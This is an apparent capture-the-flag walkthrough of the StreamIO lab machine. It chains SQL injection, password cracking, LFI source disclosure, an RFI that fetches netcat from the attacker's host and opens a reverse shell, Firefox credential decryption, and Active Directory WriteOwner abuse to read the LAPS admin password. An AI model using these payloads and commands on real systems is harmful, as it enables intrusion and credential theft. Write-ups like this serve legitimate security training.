Introduction
StreamIO is a Windows machine that chains together a bunch of web and AD techniques. There’s no single “big” exploit - it’s all about finding small misconfigurations and chaining them together. Here’s the full path:
- Find a subdomain via SSL cert →
watch.streamio.htb - MSSQL injection on
search.php→ dump user hashes → crack them - Hydra brute-force the admin login → get into the admin panel as
yoshihide - LFI via PHP wrapper → read source of
index.php→ find DB creds + RFI sink - Remote File Inclusion (RFI) via
master.php→ reverse shell as IIS service account - SQLCMD → dump
streamio_backupDB → cracknikk37’s hash → WinRM shell + user flag - WinPEAS → find Firefox saved passwords → decrypt with
firepwd.py→ getJDgodd’s creds - BloodHound →
JDgoddhas WriteOwner overCORE STAFF→CORE STAFFcan read LAPS - PowerView → add JDgodd to CORE STAFF → ldapsearch → read LAPS password → Administrator shell + root flag
Key Concepts
What is LFI? Local File Inclusion - when a web app includes files based on user input without validation, you can make it read files it shouldn’t (like config files with passwords).
What is RFI? Remote File Inclusion - same idea, but instead of reading a local file, the server fetches a file from your machine and executes it. This gives you code execution.
What is a PHP wrapper? PHP has built-in “wrappers” like php://filter that let you read a file’s source as Base64 instead of executing it. Useful for stealing source code via LFI.
What is LAPS? Local Administrator Password Solution - a Microsoft tool that auto-rotates local admin passwords and stores them in AD. The password is in the ms-MCS-AdmPwd LDAP attribute and is only readable by accounts in specific groups.
What is WriteOwner? An AD permission that lets you change who owns an object. As owner you can grant yourself any other permission - including group membership.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>
Notable ports: 80 (IIS default page), 443 (HTTPS - the real app), 88/389/445 (AD/Kerberos/SMB = Domain Controller).
echo "<TARGET> streamio.htb" | sudo tee -a /etc/hosts
Find the hidden subdomain via SSL certificate
Visit https://streamio.htb in Firefox. Click the padlock → More Information → View Certificate. Under Subject Alt Names you’ll see:
DNS Name: streamio.htb
DNS Name: watch.streamio.htb ← new subdomain
Why check the cert? SSL certificates list every hostname they’re valid for. Developers often add staging/dev subdomains to the same cert without realising they’re advertising them.
Add it to hosts:
sudo sed -i 's/streamio.htb/streamio.htb watch.streamio.htb/g' /etc/hosts
Directory brute-force on watch.streamio.htb
Visiting https://watch.streamio.htb/index.php confirms PHP. Run gobuster:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-k -u https://watch.streamio.htb/ -x php
Finds /search.php - a movie search page.
MSSQL Injection on search.php
Confirm the injection
The search box passes input directly into a SQL query. Test with a UNION-based payload - first figure out the number of columns by incrementing until no error:
10' union select 1,2,3,4,5,6 -- -
Works! 6 columns, and column 2 is reflected on screen (shows 2).
Identify the database type
10' union select 1,@@version,3,4,5,6-- -
Output: Microsoft SQL Server 2019... - it’s MSSQL.
Get the database name
10' union select 1,(select DB_NAME()),3,4,5,6-- -
Output: STREAMIO
List all tables
STRING_AGG joins multiple rows into one result, using , as a separator:
10' union select 1,(SELECT STRING_AGG(name,',') FROM STREAMIO..sysobjects WHERE xtype='U'),3,4,5,6-- -
Output: movies,users
List columns in the users table
10' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
Output: id, is_staff, password, username
Dump usernames and password hashes
CONCAT joins username + space + password into one string per row:
10' union select 1,CONCAT(username,' ',password),3,4,5,6 FROM users-- -
You get a list like:
admin 665a50ac9eaa781e4f7f04199db97a11
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
nikk37 389d14cb8e4e9b94b137deb1caf0612a
...
Crack the hashes
The hashes are MD5. Upload them to CrackStation. Several crack, including:
| Username | Hash | Password |
|---|---|---|
| yoshihide | b779ba15… | 66boysandgirls.. |
| nikk37 | 389d14cb… | get_dem_girls2@yahoo.com |
Brute-Force the Admin Login
You now have a list of usernames and cracked passwords. Use Hydra to find which combo works on the streamio.htb login page:
hydra -L users.txt -P passwords.txt streamio.htb \
https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
How to build this string: Open the login page in Firefox → DevTools (F12) → Network tab → submit a login → look at the POST request to see the parameter names (
username,password) and what the failure message says (Login failed).
Result: yoshihide : 66boysandgirls..
Log in at https://streamio.htb/login.php and navigate to /admin.
Find the Hidden debug Parameter
The admin panel loads sub-pages via URL parameters like ?user=, ?staff=, ?movie=. Fuzz for others using ffuf (replace the PHPSESSID with yours from the browser):
ffuf -w /opt/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u 'https://streamio.htb/admin/?FUZZ=' \
-b 'PHPSESSID=YOUR_SESSION_ID_HERE' \
--fs 1678
Finds: debug parameter.
Visiting https://streamio.htb/admin/?debug= shows: “this option is for developers only”
LFI via PHP Wrapper → Steal Source Code
Read index.php source
The ?debug= parameter includes files. PHP normally executes .php files, but the php://filter wrapper converts them to Base64 first, letting you read the raw source:
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
Copy the Base64 blob from the page and decode it:
echo "BASE64_BLOB_HERE" | base64 -d
Key things found in the source:
$connection = array(
"Database" => "STREAMIO",
"UID" => "db_admin",
"PWD" => 'B1@hx31234567890'
);
And the routing logic - when ?debug= is set it does include $_GET['debug'], meaning it includes and executes whatever file you point it at. That’s the RFI sink.
Find master.php
Gobuster the admin directory (pass your session cookie):
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-k -u https://streamio.htb/admin/ -x php \
-c "PHPSESSID=YOUR_SESSION_ID_HERE"
Finds /admin/master.php. Read its source:
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
Decode it and you find:
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php")
eval(file_get_contents($_POST['include']));
else
echo("ERROR");
}
What does this mean?
master.phpaccepts a POST parameter calledinclude. It fetches the content of whatever URL you give it (file_get_contents) and then executes it as PHP (eval). This is a Remote File Inclusion vulnerability. Your file gets fetched and run on the server.
Remote File Inclusion → Reverse Shell
How the chain works
You can’t POST directly to master.php (it checks for defined('included')). But index.php’s ?debug= parameter includes whatever file you give it. So:
GET /admin/?debug=master.php → includes master.php
master.php reads POST['include']
master.php fetches your file
master.php eval()s it as PHP
Step 1: Test with whoami
Create test.php on your machine:
<?php system("whoami"); ?>
Start a web server:
sudo python3 -m http.server 80
In Burp Suite, intercept a GET to /admin/?debug=master.php. Right-click → Change request method (makes it POST). Add to the body:
include=http://<YOUR_IP>/test.php
Send it. Your web server gets a hit for test.php, and the response shows the output of whoami.
Step 2: Upload nc64.exe
Change test.php contents to:
<?php system("curl <YOUR_IP>/nc64.exe -o c:\\windows\\temp\\nc64.exe"); ?>
Download nc64.exe first:
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
Send the request again - your web server will see a hit for nc64.exe as the target downloads it.
Step 3: Get the shell
Change test.php to:
<?php system("c:\\windows\\temp\\nc64.exe <YOUR_IP> 4444 -e cmd.exe"); ?>
Start your listener:
nc -lvvp 4444
Send the request. You get a shell as the IIS service account (iis apppool\streamio).
Upgrade to PowerShell for better usability:
powershell
Lateral Movement: IIS → nikk37
Dump the backup database via SQLCMD
From the index.php source you found DB creds: db_admin : B1@hx31234567890. Use sqlcmd to query the SQL server:
# List all databases
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM master..sysdatabases;'
Output includes: streamio_backup - a backup DB that wasn’t in the web app!
# Check tables
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM streamio_backup..sysobjects WHERE xtype = "U"'
# Dump credentials
sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select username,password from users;'
You get another set of usernames + MD5 hashes. Crack nikk37’s hash on CrackStation:
nikk37 : get_dem_girls2@yahoo.com
Check if nikk37 is a domain user:
net user nikk37
Output: Local Group Memberships: *Remote Management Users ← can use WinRM!
Get WinRM shell as nikk37
evil-winrm -i streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'
Grab user.txt from C:\Users\nikk37\Desktop\user.txt.
Privilege Escalation: Find Firefox Saved Passwords
Run WinPEAS
Upload and run WinPEAS to automate enumeration:
upload winPEASx64.exe
.\winPEASx64.exe
WinPEAS flags a Firefox credentials database:
Firefox credentials file exists at:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
Download the Firefox credential files
cd C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\
download key4.db
download logins.json
Why two files? Firefox stores saved passwords in
logins.json(encrypted entries) and useskey4.dbas the keystore holding the decryption keys. You need both.
Decrypt with firepwd.py
On your Linux machine:
wget https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
wget https://raw.githubusercontent.com/lclevy/firepwd/master/requirements.txt
pip3 install -r requirements.txt
python3 firepwd.py
Output:
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
You now have credentials for JDgodd : JDg0dd1s@d0p3cr3@t0r.
Spray the credentials
cme smb streamio.htb -u system-users.txt -p system-passwords.txt
Hit: streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r authenticates to SMB (but no useful share access).
BloodHound: Map the AD Attack Path
Run BloodHound to collect AD data using JDgodd’s credentials:
bloodhound-python -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
-gc dc.streamio.htb -ns <TARGET> -c all --zip
Import the ZIP into BloodHound. Search for a path from JDgodd to Administrator. You’ll see:
JDGODD --[WriteOwner]--> CORE STAFF --[ReadLAPSPassword]--> DC.STREAMIO.HTB --[...]--> ADMINISTRATOR
The plan:
- JDgodd has
WriteOwneroverCORE STAFF→ make JDgodd the owner - As owner, grant JDgodd
GenericAlloverCORE STAFF - Add JDgodd to
CORE STAFF - As a member of
CORE STAFF, query LDAP for the LAPS Administrator password
Abuse WriteOwner → Add to CORE STAFF → Read LAPS
All of this runs inside the evil-winrm shell as nikk37, but using JDgodd’s credentials via PowerShell’s credential objects (since we don’t have a direct shell as JDgodd).
Upload and import PowerView
Download PowerView on your machine:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
In evil-winrm:
upload PowerView.ps1
. .\PowerView.ps1
Store JDgodd’s credentials in PowerShell
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)
Why do this? We don’t have a shell as JDgodd, but PowerView lets us pass credentials to AD operations. Every command below runs as JDgodd even though we’re logged in as nikk37.
Step 1: Make JDgodd the owner of CORE STAFF
Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Cred $Cred
Step 2: Grant JDgodd full control over CORE STAFF
Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Cred $Cred -Rights All
Step 3: Add JDgodd to CORE STAFF
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Cred $Cred
Verify
net group 'CORE STAFF'
Output: JDgodd is listed as a member.
Step 4: Read the LAPS password via LDAP
LAPS stores the auto-rotating local Administrator password in the ms-MCS-AdmPwd LDAP attribute. Now that JDgodd is in CORE STAFF (which has ReadLAPSPassword), query it from your Linux machine:
ldapsearch -h streamio.htb \
-b 'DC=streamIO,DC=htb' \
-x \
-D JDgodd@streamio.htb \
-w 'JDg0dd1s@d0p3cr3@t0r' \
"(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
Output:
ms-Mcs-AdmPwd: -6/8RYZp4hY6t)
That’s the Administrator’s current LAPS password.
Step 5: Get an Administrator shell
evil-winrm -i streamio.htb -u administrator -p '-6/8RYZp4hY6t)'
Grab root.txt from C:\Users\martin\Desktop\root.txt.
Summary
nmap → ports 80/443/88/389 (IIS + AD DC)
↓
SSL cert → watch.streamio.htb subdomain
↓
gobuster → search.php → MSSQL UNION injection
↓
Dump users table → MD5 hashes → CrackStation → yoshihide:66boysandgirls..
↓
Hydra brute-force → /login.php → admin panel
↓
ffuf → ?debug= parameter discovered
↓
php://filter wrapper → read index.php → DB creds (db_admin:B1@hx31234567890)
↓
php://filter wrapper → read master.php → eval(file_get_contents(POST[include])) = RFI
↓
?debug=master.php + POST include=http://attacker/shell.php → reverse shell (IIS)
↓
sqlcmd → streamio_backup DB → nikk37 MD5 hash → get_dem_girls2@yahoo.com
↓
evil-winrm as nikk37 → user.txt
↓
WinPEAS → Firefox key4.db → firepwd.py → JDgodd:JDg0dd1s@d0p3cr3@t0r
↓
BloodHound → JDgodd has WriteOwner over CORE STAFF
CORE STAFF has ReadLAPSPassword on DC
↓
PowerView (as nikk37 shell, JDgodd creds):
Set-DomainObjectOwner → Add-DomainObjectAcl → Add-DomainGroupMember
↓
ldapsearch → ms-MCS-AdmPwd = -6/8RYZp4hY6t)
↓
evil-winrm as Administrator → root.txt
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| gobuster | Directory/file brute-forcing | sudo apt install gobuster |
| ffuf | Parameter fuzzing | sudo apt install ffuf |
| hydra | Login brute-forcing | sudo apt install hydra |
| CrackStation | Online hash cracker | crackstation.net |
| firepwd.py | Decrypts Firefox saved passwords | GitHub |
| bloodhound-python | Collects AD data for BloodHound | pip install bloodhound |
| BloodHound + Neo4j | Visualises AD attack paths | GitHub |
| PowerView | PowerShell AD manipulation | GitHub |
| evil-winrm | WinRM shell client | gem install evil-winrm |
| ldapsearch | Query LDAP attributes | sudo apt install ldap-utils |
| nc64.exe | Netcat for Windows | GitHub |